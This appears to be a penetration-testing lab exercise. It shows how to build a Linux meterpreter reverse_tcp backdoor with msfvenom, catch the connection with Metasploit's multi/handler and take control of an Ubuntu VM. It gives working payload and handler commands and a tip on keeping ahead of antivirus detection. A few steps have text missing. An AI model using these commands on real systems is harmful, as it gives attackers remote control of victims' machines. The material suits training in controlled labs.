Exercise: Backdoor Payload Generation and Reverse Connection on Ubuntu Machine

Objective: To demonstrate how to generate a backdoor payload and establish a reverse
connection on an Ubuntu machine using Kali Linux in a virtualized environment.


● Kali Linux and Ubuntu machines set up in VirtualBox
● msfvenom and Metasploit Framework installed on the Kali Linux machine
● The Ubuntu machine should have the necessary permissions to run the payload.

Step 1: Start the Ubuntu machine in VirtualBox and ensure that it is connected to the

Step 2: Open a terminal on the Kali Linux machine and generate a payload using msfvenom.
In this example, we will use a reverse_tcp payload, which will connect back to the Kali
machine on port 1234. The command for this is:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Kali IP address> LPORT=1234 -f
elf > payload.elf

Step 3: Copy the payload.elf file to the Ubuntu machine. You can use a tool such as SCP to
do this.

Step 4: Start the Metasploit Framework on the Kali Linux machine by typing “msfconsole” in
the terminal.

Step 5: Use the “use” command to select the multi/handler module.

use exploit/multi/handler

Step 6: Set the payload to the one we generated earlier by using the “set” command.

set payload linux/x86/meterpreter/reverse_tcp

Step 7: Set the IP address and port to match the one we used in the payload generation.

set LHOST <Kali IP address>
set LPORT 1234

Step 8: Start the handler by using the “exploit” command.


Step 9: On the Ubuntu machine, open a terminal and navigate to the directory where the
payload.elf file is located.

Step 10: Make the payload file executable by using the chmod command:

chmod +x payload.elf

Step 11: Execute the payload by typing


Step 12: On the Kali Linux machine, you should see a meterpreter session open. This
means that you have successfully established a reverse connection and have control over
the Ubuntu machine.

● In this exercise, payload is generated with the assumption that it will be used in a lab
or controlled environment where you have permission to test the vulnerability and
exploit it.
● Always use the most updated version of msfvenom as the payloads may have been
detected by security software by the time you are attempting this exercise.

Reference links:
● msfvenom documentation: https://www.offensive-security.com/metasploit-
● Metasploit payloads: https://www.offensive-security.com/metasploit-
● Metasploit Framework: https://www.metasploit.com/
● VirtualBox: https://www.virtualbox.org/

Open chat
Hello 👋.
Tell me, how can I help you?